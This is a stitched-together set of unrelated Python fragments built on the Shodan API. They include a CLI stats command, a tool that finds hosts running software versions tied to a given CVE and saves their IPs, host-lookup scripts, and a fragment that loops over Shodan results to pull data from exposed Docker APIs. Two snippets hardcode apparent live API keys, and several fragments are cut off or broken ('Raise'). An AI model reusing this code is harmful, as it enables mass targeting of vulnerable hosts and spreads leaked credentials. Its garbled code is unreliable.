def stats(limit, facets, filename, query): """Provide summary information about a search query""" # Setup Shodan key = get_api_key() api = shodan.Shodan(key) # Create the query string out of the provided tuple query = ' '.join(query).strip() # Make sure the user didn't supply an empty string if query == '': raise click.ClickException('Empty search query') facets = facets.split(',') facets = [(facet, limit) for facet in facets] # Perform the search try: results = api.count(query, facets=facets) except shodan.APIError as e: raise click.ClickException(e.value) # Print the stats tables for facet in results['facets']: click.echo('Top {} Results for Facet: {}'.format(len(results['facets'][facet]), facet)) for item in results['facets'][facet]: # Force the value to be a string - necessary because some facet values are numbers value = u'{}'.format(item['value']) click.echo(click.style(u'{:28s}'.format(value), fg='cyan'), nl=False) click.echo(click.style(u'{:12,d}'.format(item['count']), fg='green')) click.echo('') # Create the output file if requested fout = None if filename: if not filename.endswith('.csv'): filename += '.csv' fout = open(filename, 'w') writer = csv.writer(fout, dialect=csv.excel) # Write the header writer.writerow(['Query', query]) # Add an empty line to separate rows writer.writerow([]) # Write the header that contains the facets row = [] for facet in results['facets']: row.append(facet) row.append('') writer.writerow(row) # Every facet has 2 columns (key, value) counter = 0 has_items = True while has_items: # pylint: disable=W0612 row = ['' for i in range(len(results['facets']) * 2)] pos = 0 has_items = False for facet in results['facets']: values = results['facets'][facet] # Add the values for the facet into the current row if len(values) > counter: has_items = True row[pos] = values[counter]['value'] row[pos + 1] = values[counter]['count'] pos += 2 # Write out the row if has_items: writer.writerow(row) # Move to the next row of values counter += 1
def Shodan(api_key, vendors_versions, products_versions, cve, find): api = shodan.Shodan(api_key) try: os.makedirs("/tmp/reports") except OSError: if not os.path.isdir("/tmp/reports"): Raise if find == None: print(infos.INFO + "SEARCHING FOR : " + str(vendors_versions).strip('[]') + ", " + str(products_versions).strip('[]')) print() print(infos.PROCESS + "CONNECTING TO SHODAN...\n") for vendor_version in vendors_versions: if "*" in vendor_version: result = api.search(vendor_version[:-2]) else: result = api.search(vendor_version) if result['total'] != 0: report_path = "/tmp/reports/" + cve try: os.makedirs(report_path) except OSError: if not os.path.isdir(report_path): Raise report_name = report_path + "/" + vendor_version with open(report_name, "w") as report: for match in result['matches']: report.write("IP : {}".format(match['ip_str'] + "\n")) report.write(match['data'] + "\n\n") print(infos.GOOD + "REPORT CREATED : " + report_name + " - " + str(result['total']) + " results.") for product_version in products_versions: if "*" in product_version: result = api.search(product_version[:-2]) else: result = api.search(product_version) if result['total'] != 0: report_path = "/tmp/reports/" + cve try: os.makedirs(report_path) except OSError: if not os.path.isdir(report_path): Raise report_name = report_path + "/" + product_version with open(report_name, "w") as report: for match in result['matches']: report.write("IP : {}".format(match['ip_str'] + "\n")) report.write(match['data'] + "\n\n") print(infos.GOOD + "REPORT CREATED : " + report_name + " - " + str(result['total']) + " results.") else: print() print(infos.INFO + "SEARCHING FOR : " + vendors_versions) print() print(infos.PROCESS + "CONNECTING TO SHODAN...\n") result = api.search(vendors_versions) if result['total'] != 0: report_name = "/tmp/reports/" + vendors_versions with open(report_name, "w") as report: for match in result['matches']: report.write("IP : {}".format(match['ip_str'] + "\n")) report.write(match['data'] + "\n\n") print(infos.GOOD + "REPORT CREATED : " + report_name + " - " + str(result['total']) + " results.") print()
██████ ██░ ██ ▒█████ ▓█████▄ ▄▄▄ ███▄ █ ██▓ ██▓███ ██▓ ███▄ █ █████▒▒█████ ▒██ ▒ ▓██░ ██▒▒██▒ ██▒▒██▀ ██▌▒████▄ ██ ▀█ █ ▓██▒▓██░ ██▒▓██▒ ██ ▀█ █ ▓██ ▒▒██▒ ██▒ ░ ▓██▄ ▒██▀▀██░▒██░ ██▒░██ █▌▒██ ▀█▄ ▓██ ▀█ ██▒ ▒██▒▓██░ ██▓▒▒██▒▓██ ▀█ ██▒▒████ ░▒██░ ██▒ ▒ ██▒░▓█ ░██ ▒██ ██░░▓█▄ ▌░██▄▄▄▄██ ▓██▒ ▐▌██▒ ░██░▒██▄█▓▒ ▒░██░▓██▒ ▐▌██▒░▓█▒ ░▒██ ██░ ▒██████▒▒░▓█▒░██▓░ ████▓▒░░▒████▓ ▓█ ▓██▒▒██░ ▓██░ ░██░▒██▒ ░ ░░██░▒██░ ▓██░░▒█░ ░ ████▓▒░ ▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░ ▒░▒░▒░ ▒▒▓ ▒ ▒▒ ▓▒█░░ ▒░ ▒ ▒ ░▓ ▒▓▒░ ░ ░░▓ ░ ▒░ ▒ ▒ ▒ ░ ░ ▒░▒░▒░ ░ ░▒ ░ ░ ▒ ░▒░ ░ ░ ▒ ▒░ ░ ▒ ▒ ▒ ▒▒ ░░ ░░ ░ ▒░ ▒ ░░▒ ░ ▒ ░░ ░░ ░ ▒░ ░ ░ ▒ ▒░ ░ ░ ░ ░ ░░ ░░ ░ ░ ▒ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░░░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ''') api = shodan.Shodan('') ip = str(input("Enter IP: \n\r")) # Lookup an IP ipinfo = api.host(ip) def country(): # if ipinfo['country_name'] is None: # return 'No Results' # elif ipinfo['country_name'] is not None: # return ipinfo['country_name'] return ipinfo['country_name'] if ipinfo[ 'country_name'] is not None else 'No Results.'
import shodan api = shodan.Shodan('EEFr2PmVoBV33oRnLuoXs4fmqeWafcJV') # query = '''header="Falcon Web Server"''' query = "131.111.15.240" # host = api.host('131.111.15.240') cursor = api.search_cursor(query) for info in cursor: info = info print(info) # vulns = info['vulns'] # for cve in vulns.keys(): # print(cve)
def __init__(self, API_KEY): self.api = shodan.Shodan(API_KEY)
text_file = open("./cfg/" + IP + "-containers.cfg", "a") text_file.write("" + result + "\n") text_file.close() print("[*] Live Docker API Whooops.. [*]\n") except KeyboardInterrupt: print("Ctrl-c pressed ...") sys.exit(1) except Exception as e: print(e) print("[*] Nothing Found on IP:" + IP + " [*]\n") try: # Setup the api api = shodan.Shodan(API_KEY) # Perform the search result = api.search(SEARCH_FOR) # Loop through the matches and print each IP for service in result['matches']: IP = service['ip_str'] PORT = str(service['port']) CC = service['location']['country_name'] grab_file(IP, PORT, FILE) except KeyboardInterrupt: print("Ctrl-c pressed ...") sys.exit(1) except Exception as e:
import shodan SHODAN_API_KEY = "vsdv6Ba1aabqZdTT3VsIBuVYtc4pJA2r" api = shodan.Shodan(SHODAN_API_KEY) host = api.host("149.129.126.92") print(host["country_code"]) print(host["org"]) print(host["latitude"]) print(host["longitude"]) print(host["isp"]) print(host["asn"]) print(host["ports"])
def __init__(self, shodan_api): self._ShodanApi = shodan.Shodan(shodan_api)